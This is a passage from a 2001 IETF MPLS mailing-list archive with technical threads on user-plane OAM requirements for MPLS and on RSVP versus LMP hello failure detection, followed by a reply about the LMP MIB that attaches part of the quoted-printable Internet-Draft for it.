point, ie we need OAM for the basic links (which are formed from server
layer trails.....so we are talking about server layer trail path overhead
here for user-plane OAM) in a user-plane sense, and also OAM for the
individual protocols which use such user-plane links/trails since they are
functionality subject to additional processing and hence additional failure
modes.

As regards the point on (measuring) availability performance in #4, one has
to look at what the user is actually experiencing for an accurate
assessment.  As an example to illustrate my point, I could consider a case
where failures of the control-plane should not impact the user-plane, ie a
requirement that *existing* user-plane connections must not be affected
simply because the control-plane has failed (in some respect).  This is
quite an obvious requirement in the case of GMPLS for SDH/OTN
trails....perhaps less obvious/required in the case of MPLS LSPs maybe, but
if we ever had S-PVC-like LSPs here then this would be an important
requirement.  So my view is make sure the basic architecture is right from
the start so that all such scenraios can be catered for.
> 
> 3.  I am very skeptical about the focus on "tools" versus
>     "capabilities", "features", "protocols", "interfaces" and
>     so forth...you use "mechanisms" at one point and that is
>     ok with me.  "Tools" sound like things we let the marketplace
>     develop and deploy in response to the specs we design...?
NH=> I guess the key point here is that we were trying not to be too
prescriptive, ie every operator/vendor must not be forced to use all the
things we suggest.  Maybe the wording is not good enough?
> 
> 4.  For example, in your "Requirements" section, the concluding
>     sentence of #2 says: "It is necessary that be detected and
>     notified automatically without operator intervention for this
>     purpose."  I agree completely.  However, I read that as a
>     strong mandate for control-plane capabilities.
NH=> As I noted above, it depends on your network scenario.  The main points
intended here however run something like this:
-	need local user-plane defect detection (so these need clear
specification wrt entry/exit);
-	need to take appropriate actions in all relevant planes, eg tell
client layers of failure (to stop alarms being incorrectly raised in their
user-planes.....especially important in inter-domain/international cases);
raise local management-plane alarm; tell control-plane (if appropriate) to
invoke a prot-sw/restoration.
> 
> 5.  Wrt "Requirements" #4, scalability should mean "cost-
>     effectively in smaller-scale networks" as well as
>     "stably [or whatever] in large-scale networks".
NH=> I agree.  The wording here is not good enough, and something along the
lines you suggest would be more appropriate.
> 
> 6.  "Requirements" #6 sounds very close to app-level design
>     (as do some other parts of the document).  While I agree
>     with most of the objectives stated in this respect, it is
>     an area that the IETF traditionally leaves to others to
>     resolve.
NH=> The intention here was not to imply this is something that we wish to
see forced on everyone (depends on their network needs), but if someone
considers these functions useful then should be able to ask for them.
> 
> 7.  "Requirements" #7 *seems* to be written from the wrong
>     perspective.  That is, it is not that "LSRs that do not
>     support such functions must silently discard..." but
>     rather that any specified new protocol features must not
>     disrupt traffic processing in LSRs that do not support
>     the features.  The intended outcome is the same, I know...
>     but the suggested perspective will help to ensure that
>     no backwards-incompatible features are introduced --
>     unless they are consciously intended.
NH=> Understood.  The intention was to make sure that any solutions (to
these requirements) were indeed backwards compatible with equipments that
did not recognise them.
> 
> 8.  "Requirements" #8 (measurements) seems like another clear
>     example of control-plane functionality to me...ditto for
>     #13 (failure detection).
NH=> On #8 it depends on whether a reliance on (some aspect of) the
control-plane is sufficient.....as I noted above, things change as one moves
from a truly CNLS mode to a truly CO mode, especially with control/bearer
separation.  On #13 this was simply a statement of something that is all too
common today, ie awaiting for the complaint to roll in.  We see this on all
types of layer network we have deployed......some of these are down to
vendor 'bugs' others are down to inadequate OAM capabilities. 
> 
> 9.  I also found some of the general wording (e.g., the various
>     uses of "layer network") to be confusing, but that might
>     just reflect lack of familiarity on my part.
NH=> Layer network is a well understood term by most operators and major
vendors, and it is in common usage in ITU as described in G.805 on
functional modelling.  There are also a few text books dealing with this
powerful concept for describing networks....and I can recommend this one,
especially to anyone working on GMPLS:
Broadband Networking: ATM, SDH, and SONET, Andy Reid and Mike Sexton
Artech House; ISBN: 0890065780 
> 
> In sum, I think this is important work and that it needs to be
> expanded (to cover "OAM&P") and honed more toward control-plane
> features and the control-plane/management-plane interface(s).
NH=> Many thanks for your constructive remarks.
> 
> Thanks,
> 
> BobN
> 
> > -----Original Message-----
> > From: Shahram Davari [mailto:Shahram_Davari@pmc-sierra.com]
> > Sent: Friday, May 18, 2001 6:32 PM
> > To: 'internet-drafts@ietf.org'
> > Cc: 'mpls@uu.net'; 'te-wg@ops.ietf.org'
> > Subject: draft-harrison-mpls-oam-req-00.txt
> > 
> > 
> > Hi,
> > 
> > Please post the attached draft.
> > 
> > Summary:
> > 
> > This draft provides motivation and requirements for user-plane OAM 
> > (Operation and Maintenance) functionality in MPLS networks.
> >  
> > Motivation for this recommendation rose from Network 
> operators' need 
> > or tools that ensure reliability and performance of MPLS LSPs 
> > (Label Switched Paths). User-plane OAM tools are required to verify 
> > that LSPs have been setup and are available to deliver 
> customer data 
> > to target destinations according to QoS (Quality of Service) 
> > guarantees given in SLAs (Service Level Agreements). 
> >     
> > Requirements presented in this draft include but are not 
> limited to: 
> >     
> >  . Tools to efficiently detect and localize defects in MPLS layer 
> >  . Mechanisms for fast defect notification 
> >  . Availability and performance criteria 
> >  . Trigger for corrective actions (e.g. protection switching) when 
> >      failures occur. 
> > 
> > 
> > Regards,
> > -Shahram Davari
> > 
> >  <<draft-harrison-mpls-oam-req-00.txt>> 
> > 
> 


From owner-mpls@UU.NET  Thu May 31 10:56:26 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA27446
	for <mpls-archive@lists.ietf.org>; Thu, 31 May 2001 10:56:25 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrkd21332;
	Thu, 31 May 2001 14:56:39 GMT
Received: by mail-control.mail.uu.net 
	id QQkrkd03815
	for mpls-outgoing; Thu, 31 May 2001 14:56:05 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkrkd03791
	for <mpls@mail-control.mail.uu.net>; Thu, 31 May 2001 14:55:57 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkrkd07126
	for <mpls@UU.NET>; Thu, 31 May 2001 14:54:36 GMT
From: neil.2.harrison@bt.com
Received: from gollum.axion.bt.co.uk by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: gollum.axion.bt.co.uk [132.146.17.41])
	id QQkrkd17567
	for <mpls@UU.NET>; Thu, 31 May 2001 14:54:35 GMT
Received: from cryndent01.mww.bt.com by gollum (local) with ESMTP;
          Thu, 31 May 2001 15:45:32 +0100
Received: by cryndent01.mww.bt.com with Internet Mail Service (5.5.2652.35) 
          id <L215616W>; Thu, 31 May 2001 15:45:24 +0100
Message-ID: <B9571FDEBD3DD21181E500606DD5EE050E891367@mbddmknt01.hc.bt.com>
To: DPendarakis@tellium.com, lyndon_ong@eudoramail.com,
        david.charlap@marconi.com
Cc: mpls@UU.NET
Subject: RE: Last call - RSVP problems
Date: Thu, 31 May 2001 15:45:20 +0100
X-Mailer: Internet Mail Service (5.5.2652.35)
MIME-version: 1.0
Content-type: text/plain; charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Some observations on this discussion:

The user-plane and the control-plane need individual OAM mechanisms that are
appropriate to the layer networking scenario considered.

At one extreme we have a purely cnls mode.....so here the control-plane is
simply composed of a routing facet (ie no signalling) and, moreover, both
the control-plane and user-plane share a common transport component, ie the
IP packet.  Here we need OAM only for the user-plane and the routing
protocol.

At the other extreme we have a co mode with separation of
control/user-planes onto their own network transport constructs (ie the
so-called 'control/bearer separation'.  This is a bit more complex because
the user-plane trails require their own OAM (usually embedded within the
path overhead of the trail) and the control-plane needs OAM for:
-	its own 'user-plane'...since this is logically disjoint network from
the 'user-plane' being offered to (external) customers;
-	the signalling protocol;
-	the routing protocol;
Now, since the routing and/or functionally is no longer common across these
facets it should be obvious that each will have its own specific failure
modes that will need addressing by OAM designed for that facet (clearly we
can extend this to any other protocols that are used in either control or
user planes).

In between these extrems there are others;  like the ones created by MPLS
LSP trails which (i) are more cnls-like for LDP created LSPs and (ii) more
co-like for explictly signalled LSPs using RSVP/CR-LDP.

So I am not sure that the discussion I have been viewing is really helpful.
RSVP hellos are maintaning the integrity of RSVP sessions, LMP hellos are
maintaining the integrity of 'LMP sessions'......and, also checking the
'user-plane' of the control-channel (the user-plane of the trails used to
carry external customer traffic are checked by other mechanisms in LMP).

neil

> -----Original Message-----
> From: Dimitrios Pendarakis [mailto:DPendarakis@tellium.com]
> Sent: 31 May 2001 14:55
> To: 'lyndon_ong@eudoramail.com'; David Charlap
> Cc: mpls@UU.NET
> Subject: RE: Last call - RSVP problems
> 
> 
> David,
> 
> I agree with Lyndon's comment. If you read through the rest of
> my email, you 'll see that the discussion is not about the 
> ability of RSVP Hello to detect link failures:
> 
> DP> LMP hello allows you to detect 
> DP> individual link (or control channel) failures; RSVP Hello allows
> DP> you to detect that you 've lost contact with your signaling peer
> DP> for whatever reason (failure of all redundant control channels, 
> DP> failure of the RSVP daemon, etc.).
> 
> Thanks,
> Dimitrios
> 
> > -----Original Message-----
> > From: Lyndon Ong [mailto:lyndon_ong@eudoramail.com]
> > Sent: Wednesday, May 30, 2001 12:05 PM
> > To: mpls@UU.NET; David Charlap
> > Subject: Re: Last call - RSVP problems
> > 
> > 
> > Hmm, I'm confused here - I did not think the discussion was 
> > about RSVP Hello's function, it's understood to be detecting
> > node failure rather than link or control channel failure.
> > 
> > I thought the question was whether RSVP Hello was necessary if
> > you have an alternative way of detecting control channel
> > failure, in which case you can tell when there are no control
> > channels left standing.  Detection of control channel failure
> > could be through LMP Hello or if you have some alternative 
> > means, like monitoring control channel error rates.
> > 
> > Cheers,
> > 
> > Lyndon
> > --
> > 
> > On Wed, 30 May 2001 10:55:39   David Charlap wrote:
> > >Dimitrios Pendarakis wrote:
> > >> 
> > >> Could you please clarify why you think RSVP Hello 
> doesn't work for
> > >> parallel (redundant) control channels?
> > >
> > >RSVP Hello messages are sent between adjacent IP 
> addresses.  If there
> > >are multiple unnumbered links between two routers, only one set of
> > >Hellos are generated for all the links.  If the multiple 
> > links are all
> > >numbered, then Hello messages are sent for each of the links.
> > >
> > >As a result of this, RSVP Hello can only detect link 
> failure when all
> > >links between two routers are numbered.  If there are 
> > unnumbered links
> > >between two routers, Hellos will not be interrupted until 
> all of the
> > >links fail - meaning it will only detect node failure.
> > >
> > >-- David
> > >
> > 
> > 
> > Join 18 million Eudora users by signing up for a free Eudora 
> > Web-Mail account at http://www.eudoramail.com
> > 
> 


From owner-mpls@UU.NET  Thu May 31 11:39:59 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA29038
	for <mpls-archive@lists.ietf.org>; Thu, 31 May 2001 11:39:58 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrkg29788;
	Thu, 31 May 2001 15:40:05 GMT
Received: by mail-control.mail.uu.net 
	id QQkrkg28186
	for mpls-outgoing; Thu, 31 May 2001 15:39:29 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkrkg28180
	for <mpls@mail-control.mail.uu.net>; Thu, 31 May 2001 15:39:25 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkrkg13290
	for <mpls@UU.NET>; Thu, 31 May 2001 15:38:59 GMT
Received: from edgeflow.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [216.191.40.82])
	id QQkrkg27199
	for <mpls@UU.NET>; Thu, 31 May 2001 15:38:57 GMT
Received: from edgsvr01.edgeflow.edgeflow.com ([10.0.1.10]) by watchdog.edgeflow.com with ESMTP id <119041>; Thu, 31 May 2001 11:38:45 -0400
Received: by edgsvr01.edgeflow.edgeflow.com with Internet Mail Service (5.5.2650.21)
	id <K9BFPYV4>; Thu, 31 May 2001 11:33:44 -0400
Message-ID: <89E067900D3FA84A97495C71556140E41B621F@edgsvr01.edgeflow.edgeflow.com>
From: Martin Dubuc <martin.dubuc@edgeflow.com>
To: "'Arumugam R'" <arumugamr@future.futsoft.com>
Cc: "Thomas D. Nadeau" <tnadeau@cisco.com>, evan@calient.net,
        sudheer@nayna.com, iplang@calient.net, "mpls@uu.net" <mpls@UU.NET>,
        ccamp@ops.ietf.org
Subject: RE: Some clarifications in the LMP mib..
Date:  Thu, 31 May 2001 11:33:42 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/mixed; boundary="----_=_NextPart_000_01C0E9E7.1310F22E"
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_000_01C0E9E7.1310F22E
Content-Type: text/plain;
	charset="iso-8859-1"

Arumagam,

I have submitted a new version of the LMP MIB May 22. However, it still has
not shown up on IETF Web site. I have attached it with this message. The
filename might change as a result of classifying the ID.

The new version of the MIB addresses your first two comments. As far as
lmpDataLinkRemoteIfId is conerned, it is now read-write, but should be
read-create. This will be fixed in next release.

As far as manual configuration procedure of TE link is concerned, once the
TE link and data-bearing links are configured manually, their information is
sent in LinkSummary messages as part of the property correlation procedure.
The TE link and data-bearing link information configured manually in both
local and remote nodes can be correlated. If there is a mismatch, a property
mismatch trap can be generated. As you have mentioned, a node that does not
implement the link verification procedure does not need to track states
related to link verification.

Regards,

Martin


-----Original Message-----
From: Arumugam R [mailto:arumugamr@future.futsoft.com]
Sent: Thursday, May 31, 2001 2:41 AM
To: matin.dubuc@edgeflow.com; Thomas D. Nadeau; evan@calient.net;
sudheer@nayna.com; iplang@calient.net; mpls@uu.net
Subject: Some clarifications in the LMP mib..


Hi,

While going through the LMP mib, some typo errors are found and i need 
some more clarification.

1. The lmpTeLinkAdminStatus in the lmpTeLinkTable is marked read-only, 
instead of read-create.

2. In the lmpTeLinkCCMappingTable, the lmpTeLinkCcMappingEntry is bound 
to have 4 entries as given in the example.

It should look like the following.

LmpTeLinkCcMappingEntry ::= SEQUENCE {
   lmpTeLinkId                                      TeLinkId,
   lmpCcId                                            LmpCcId,
   lmpTeLinkCcMappingRowStatus       RowStatus,
   lmpTeLinkCcMappingStorageType    StorageType
}
and appropriately the values and description needs to be changed.

3. In the lmpDateBearingLinkTable, the lmpDataLinkRemoteIfId is given as 
a read-only object.
The typo is in the example given, it is configured which gives a feeling 
that it is read-create. It needs to be removed from the example.

Can you through some explanation regarding the manual configuration 
procedure, since it can reduce some states and events in the TE Link 
FSM, as well as avoiding the test procedure & Data Link FSM, since it is 
not clearly explained in the LMP Draft. 

4. The lmpDataBearingLinkCcPreemptibility is mentioned as read-only 
instead of read-create. Also the description for the same is wrong & i 
feel it is a cut and paste from the description of lmpDataBearingType.

Suggestions are welcome

Thanks and regards
Arumugam R.



------_=_NextPart_000_01C0E9E7.1310F22E
Content-Type: text/plain;
	name="draft-ietf-ccamp-lmp-mib-00.txt"
Content-Disposition: attachment;
	filename="draft-ietf-ccamp-lmp-mib-00.txt"
Content-Transfer-Encoding: quoted-printable

=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
Network Working Group                                       Martin =
Dubuc=0A=
Internet Draft                                            edgeflow, =
Inc.=0A=
Expires: November 2001=0A=
                                                     Sudheer =
Dharanikota=0A=
                                                    Nayna Networks, =
Inc.=0A=
=0A=
                                                        Thomas D. =
Nadeau=0A=
                                                     Cisco Systems, =
Inc.=0A=
=0A=
                                                        Jonathan P. =
Lang=0A=
                                                           Evan =
McGinnis=0A=
                                                  Calient Networks, =
Inc.=0A=
=0A=
=0A=
    Link Management Protocol Management Information Base Using SMIv2=0A=
=0A=
=0A=
                    draft-ietf-ccamp-lmp-mib-00.txt=0A=
=0A=
=0A=
Status of this Memo=0A=
=0A=
   This document is an Internet-Draft and is in full conformance =
with=0A=
   all provisions of Section 10 of RFC 2026.=0A=
=0A=
   Internet-Drafts are working documents of the Internet Engineering=0A=
   Task Force (IETF), its areas, and its working groups. Note that =
other=0A=
   groups may also distribute working documents as Internet- Drafts.=0A=
=0A=
   Internet-Drafts are draft documents valid for a maximum of six =
months=0A=
   and may be updated, replaced, or obsoleted by other documents at =
any=0A=
   time. It is inappropriate to use Internet- Drafts as reference=0A=
   material or to cite them other than as "work in progress."=0A=
=0A=
   The list of current Internet-Drafts can be accessed at=0A=
   http://www.ietf.org/ietf/1id-abstracts.txt.=0A=
=0A=
   The list of Internet-Draft Shadow Directories can be accessed at=0A=
   http://www.ietf.org/shadow.html.=0A=
=0A=
Table of Contents=0A=
=0A=
1.   Abstract .....................................................    =
2=0A=
2.   Introduction .................................................    =
2=0A=
3.   Terminology ..................................................    =
3=0A=
4.   The SNMP Management Framework ................................    =
3=0A=
4.1. Object Definitions ...........................................    =
4=0A=
5.   Feature Checklist ............................................    =
4=0A=
=0A=
=0A=
=0A=
Dubuc et al.             Expires November 2001                  [Page =
1]=0A=
=0C=0A=
Internet Draft                MPLS LMP MIB                  May 22, =
2001=0A=
=0A=
=0A=
6.   Outline ......................................................    =
5=0A=
6.1. Summary of LMP MIB ...........................................    =
6=0A=
7.   Brief Description of MIB Objects .............................    =
6=0A=
7.1. lmpNbrTable ..................................................    =
6=0A=
7.2. lmpControlChannelTable .......................................    =
6=0A=
7.3. lmpControlChannelPerfTable ...................................    =
7=0A=
7.4. lmpTeLinkTable ...............................................    =
7=0A=
7.5. lmpLinkVerificationTable .....................................    =
7=0A=
7.6. lmpDataBearingLinkTable ......................................    =
7=0A=
7.7. lmpDataBearingLinkPerfTable ..................................    =
7=0A=
8.   Example of LMP Control Channel Interface Setup ...............    =
7=0A=
9.   Link Management Protocol MIB Definitions .....................   =
10=0A=
10.  Security Considerations ......................................   =
46=0A=
11.  Acknowledgments ..............................................   =
47=0A=
12.  References ...................................................   =
47=0A=
13.  Authors' Addresses ...........................................   =
50=0A=
14.  Full Copyright Statement .....................................   =
51=0A=
=0A=
=0A=
=0A=
1.  Abstract=0A=
=0A=
   This memo defines an experimental portion of the Management =
Informa-=0A=
   tion Base (MIB) for use with network management protocols in the=0A=
   Internet community. In particular, it describes managed objects =
for=0A=
   modeling the Link Management Protocol (LMP) [LMP].=0A=
=0A=
=0A=
2.  Introduction=0A=
=0A=
   This memo defines an experimental portion of the Management =
Informa-=0A=
   tion Base (MIB) for use with network management protocols in the=0A=
   Internet community. In particular, it describes managed objects =
for=0A=
   modeling the Link Management Protocol (LMP) [LMP].=0A=
=0A=
   Comments should be made directly to the ccamp mailing list at=0A=
   ccamp@ops.ietf.org.=0A=
=0A=
   This memo does not, in its draft form, specify a standard for the=0A=
   Internet community.=0A=
=0A=
   The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL =
NOT",=0A=
   "SHOULD", "SHOULD NOT", "RECOMMENDED", "MAY", and "OPTIONAL" in =
this=0A=
   document are to be interpreted as described in RFC 2119, =
reference=0A=
   [BCP14].=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
Dubuc et al.             Expires November 2001                  [Page =
2]=0A=
=0C=0A=
Internet Draft                MPLS LMP MIB                  May 22, =
2001=0A=
=0A=
=0A=
3.  Terminology=0A=
=0A=
   This document uses terminology from the document describing the =
Link=0A=
   Management Protocol [LMP]. An "LMP adjacency" is formed between =
two=0A=
   nodes that support the same capabilities, and LMP messages are=0A=
   exchanged between the node pair over control channels that form =
this=0A=
   adjacency. Several control channels can be active at the same =
time.=0A=
   With the exception of messages related to control channel =
management,=0A=
   any time a LMP message needs to be transferred to a neighbor node, =
it=0A=
   can be sent on any of the active control channels. The control =
chan-=0A=
   nels can also be used to exchange MPLS control plane information =
or=0A=
   routing information.=0A=
=0A=
   LMP is designed to support aggregation of one or more =
data-bearing=0A=
   links into a traffic-engineering (TE) link. The data-bearing =
links=0A=
   can be either component links or ports depending on their =
multiplex-=0A=
   ing capability (see [LMP] for distinction between port and =
component=0A=
   link). Furthermore, the data-bearing links may be defined as =
primary=0A=
   or secondary data-bearing links, where a secondary data-bearing =
link=0A=
   is used to protect a primary data-bearing link, i.e. if a primary=0A=
   data-bearing link fails, data traffic is switched over to one of =
the=0A=
   secondary data-bearing links.=0A=
=0A=
   Each TE link is associated with an LMP adjacency, and one or more=0A=
   control channels are used to exchange LMP messages. In turn, =
control=0A=
   channels are used to manage one or more TE links.=0A=
=0A=
=0A=
=0A=
4.  The SNMP Management Framework=0A=
=0A=
   The SNMP Management Framework presently consists of five major =
com-=0A=
   ponents:=0A=
=0A=
   -  An overall architecture, described in RFC 2571 [SNMPArch].=0A=
=0A=
   -  Mechanisms for describing and naming objects and events for =
the=0A=
      purpose of management. The first version of this Structure of=0A=
      Management Information (SMI) is called SMIv1 and described in=0A=
      RFC 1155 [SMIv1], RFC 1212 [SNMPv1MIBDef] and RFC 1215=0A=
      [SNMPv1Traps]. The second version, called SMIv2, is described=0A=
      in RFC 2578 [SMIv2], RFC 2579 [SNMPv2TC] and RFC 2580=0A=
      [SNMPv2Conf].=0A=
=0A=
   -  Message protocols for transferring management information. The=0A=
      first version of the SNMP message protocol is called SNMPv1=0A=
      and described in RFC 1157 [SNMPv1]. A second version of the=0A=
      SNMP message protocol, which is not an Internet standards=0A=
=0A=
=0A=
=0A=
Dubuc et al.             Expires November 2001                  [Page =
3]=0A=
=0C=0A=
Internet Draft                MPLS LMP MIB                  May 22, =
2001=0A=
=0A=
=0A=
      track protocol, is called SNMPv2c and described in RFC 1901=0A=
      [SNMPv2c] and RFC 1906 [SNMPv2TM]. The third version of the=0A=
      message protocol is called SNMPv3 and described in RFC 1906=0A=
      [SNMPv2TM], RFC 2272 [SNMPv3MP] and RFC 2574 [SNMPv3USM].=0A=
=0A=
   -  Protocol operations for accessing management information. The=0A=
      first set of protocol operations and associated PDU formats is=0A=
      described in RFC 1157 [SNMPv1]. A second set of protocol=0A=
      operations and associated PDU formats is described in RFC 1905=0A=
      [SNMPv2PO].=0A=
=0A=
   -  A set of fundamental applications described in RFC 2273=0A=
      [SNMPv3App] and the view-based access control mechanism=0A=
      described in RFC 2575 [SNMPv3VACM].=0A=
=0A=
   Managed objects are accessed via a virtual information store, =
termed=0A=
   the Management Information Base or MIB. Objects in the MIB are=0A=
   defined using the mechanisms defined in the SMI. This memo =
specifies=0A=
   a MIB module that is compliant to the SMIv2. A MIB conforming to =
the=0A=
   SMIv1 can be produced through the appropriate translations. The=0A=
   resulting translated MIB must be semantically equivalent, except=0A=
   where objects or events are omitted because no translation is =
possi-=0A=
   ble (use of Counter64). Some machine-readable information in =
SMIv2=0A=
   will be converted into textual descriptions in SMIv1 during the=0A=
   translation process. However, this loss of machine-readable =
informa-=0A=
   tion is not considered to change the semantics of the MIB.=0A=
=0A=
=0A=
=0A=
4.1.  Object Definitions=0A=
=0A=
   Managed objects are accessed via a virtual information store, =
termed=0A=
   the Management Information Base or MIB. Objects in the MIB are=0A=
   defined using the subset of Abstract Syntax Notation One (ASN.1)=0A=
   defined in the SMI. In particular, each object type is named by =
an=0A=
   OBJECT IDENTIFIER, an administratively assigned name.  The object=0A=
   type together with an object instance serves to uniquely identify =
a=0A=
   specific instantiation of the object. For human convenience, we =
often=0A=
   use a textual string, termed the descriptor, to also refer to the=0A=
   object type.=0A=
=0A=
=0A=
=0A=
5.  Feature Checklist=0A=
=0A=
   The Link Management protocol MIB (LMP-MIB) is designed to satisfy =
the=0A=
   following requirements and constraints:=0A=
=0A=
=0A=
=0A=
=0A=
Dubuc et al.             Expires November 2001                  [Page =
4]=0A=
=0C=0A=
Internet Draft                MPLS LMP MIB                  May 22, =
2001=0A=
=0A=
=0A=
   -  The MIB supports the enabling and disabling of LMP capability=0A=
      on LMP capable interfaces of a photonic switch, optical=0A=
      cross-connect or router.=0A=
=0A=
   -  Support is provided for configuration of the keep alive and=0A=
      link verification parameters.=0A=
=0A=
   -  The MIB allows the mapping between TE links and control=0A=
      channels to be established either through manual=0A=
      configuration or via the link verification procedure.=0A=
=0A=
   -  The MIB is used to express the mapping between local and =
remote=0A=
      TE links, as well as local and remote interface identifiers =
for=0A=
      port or component link.=0A=
=0A=
   -  Performance counters are provided for measuring LMP=0A=
      performance on a per-interface basis. Performance counters are=0A=
      also provided for measuring LMP performance on the =
data-bearing=0A=
      links.=0A=
=0A=
   Note that the LMP MIB goes hand-in-hand with the Link Bundling =
MIB=0A=
   [BUNDLE-MIB]. The TE link table, which is used to associate data-=0A=
   bearing links to TE links, is defined in the Link Bundling MIB. =
The=0A=
   TE link table in the LMP MIB contains TE link information specific =
to=0A=
   LMP.=0A=
=0A=
=0A=
=0A=
6.  Outline=0A=
=0A=
   Configuring LMP through an optical device involves the following=0A=
   steps:=0A=
=0A=
   -  Enabling LMP on LMP capable interfaces through of control =
channel=0A=
      configuration.=0A=
=0A=
   -  Optionally specifying link verification parameters.=0A=
=0A=
   -  Configuring the data-bearing links and associating them to the=0A=
      appropriate TE link (this association is stored in the=0A=
      Link Bundling MIB).=0A=
=0A=
   -  Identifying which control channels manage the TE link.=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
Dubuc et al.             Expires November 2001                  [Page =
5]=0A=
=0C=0A=
Internet Draft                MPLS LMP MIB                  May 22, =
2001=0A=
=0A=
=0A=
6.1.  Summary of LMP MIB=0A=
=0A=
   The MIB objects for performing these actions consist of the =
following=0A=
   tables:=0A=
=0A=
   -  The remote node table is used to identify the pair=0A=
      of nodes that exchange LMP messages over control channels.=0A=
=0A=
   -  The control channel table (lmpControlChannelTable) is used=0A=
      for enabling the LMP protocol on LMP-capable interfaces.=0A=
=0A=
   -  The control channel performance table=0A=
      (lmpControlChannelPerfTable) is used for collecting=0A=
      LMP performance counts on a per-interface basis.=0A=
=0A=
   -  The TE link table (lmpTeLinkTable) is used for=0A=
      specifying TE links.=0A=
=0A=
   -  The link verification table (lmpLinkVerificationTable) is used =
for=0A=
      configuring the LMP link verification parameters of TE links.=0A=
=0A=
=0A=
   -  The data-bearing link table (lmpDataBearingLinkTable) is used =
to=0A=
      specify the data-bearing links that are associated with TE =
links.=0A=
=0A=
   -  The data-bearing link performance table=0A=
      (lmpDataBearingLinkPerfTable) is used for collecting LMP=0A=
      performance counts on data-bearing links.=0A=
=0A=
   These tables are described in the subsequent sections.=0A=
=0A=
=0A=
=0A=
7.  Brief Description of MIB Objects=0A=
=0A=
   Sections 7.1-7.3 describe objects pertaining to LMP-capable =
inter-=0A=
   faces. Section 7.4 to 7.7 describes objects for specifying TE =
links=0A=
   and data-bearing links. The MIB objects were derived from the LMP=0A=
   document [LMP].=0A=
=0A=
=0A=
7.1.  lmpNbrTable=0A=
=0A=
   This table identifies the pairs of nodes on which LMP is enabled.=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
Dubuc et al.             Expires November 2001                  [Page =
6]=0A=
=0C=0A=
Internet Draft                MPLS LMP MIB                  May 22, =
2001=0A=
=0A=
=0A=
7.2.  lmpControlChannelTable=0A=
=0A=
   This table represents the interfaces that are LMP capable (i.e. =
capa-=0A=
   ble of transmitting LMP messages). A photonic switch, optical =
cross-=0A=
   connect, or router creates an entry in this table for every LMP =
capa-=0A=
   ble interface on that device.=0A=
=0A=
=0A=
=0A=
7.3.  lmpControlChannelPerfTable=0A=
=0A=
   This table contains the objects to measure the LMP performance of =
LMP=0A=
   capable interfaces and is an AUGMENT to the =
lmpControlChannelTable.=0A=
   High capacity counters are provided for objects that are likely =
to=0A=
   wrap around quickly.=0A=
=0A=
=0A=
=0A=
7.4.  lmpTeLinkTable=0A=
=0A=
   This table represents the TE link information specific to LMP.=0A=
=0A=
=0A=
=0A=
7.5.  lmpLinkVerificationTable=0A=
=0A=
   This table represents the link verification parameters associated=0A=
   with the TE links.=0A=
=0A=
=0A=
=0A=
7.6.  lmpDataBearingLinkTable=0A=
=0A=
   The data-bearing link table enumerates the data-bearing links =
that=0A=
   are associated with each TE link.=0A=
=0A=
=0A=
=0A=
7.7.  lmpDataBearingLinkPerfTable=0A=
=0A=
   This table contains the objects to measure the LMP performance of=0A=
   data-bearing links and is an AUGMENT to the =
lmpDataBearingLinkTable.=0A=
=0A=
=0A=
=0A=
8.  Example of LMP Control Channel Setup=0A=
=0A=
   In this section we provide a brief example of using the MIB=0A=
=0A=
=0A=
=0A=
Dubuc et al.             Expires November 2001                  [Page =
7]=0A=
=0C=0A=
Internet Draft                MPLS LMP MIB                  May 22, =
2001=0A=
=0A=
=0A=
   objects described in section 11 to set up an LMP control channel.=0A=
   While this example is not meant to illustrate every nuance of the=0A=
   MIB, it is intended as an aid to understanding some of the key=0A=
   concepts. It is meant to be read after going through the MIB =
itself.=0A=
=0A=
   Suppose that one would like to form an LMP adjacency between two=0A=
   nodes using two control channels. Suppose also that there are=0A=
   three data-bearing links. We also assume that the data-bearing=0A=
   links are ports (lambdas). We also assume that the link=0A=
   verification procedure is not enabled. The following example=0A=
   illustrates which rows and corresponding objects might be created=0A=
   to accomplish this.=0A=
=0A=
   First, LMP must be enabled between the pair of nodes.=0A=
=0A=
   In lmpNbrTable:=0A=
   {=0A=
      lmpNbrNodeId                       =3D 'c0010101'H, -- =
192.1.1.1=0A=
      lmpNbrLinkSumRetransmitInterval    =3D 10,=0A=
      lmpNbrAdminStatus                  =3D up(1),=0A=
      lmpNbrRowStatus                    =3D createAndGo(4)=0A=
   }=0A=
=0A=
   Then, the control channels must be set up. These are created in=0A=
   the lmpControlChannelTable.=0A=
=0A=
   In lmpControlChannelTable:=0A=
   {=0A=
      ifIndex                           =3D 1,=0A=
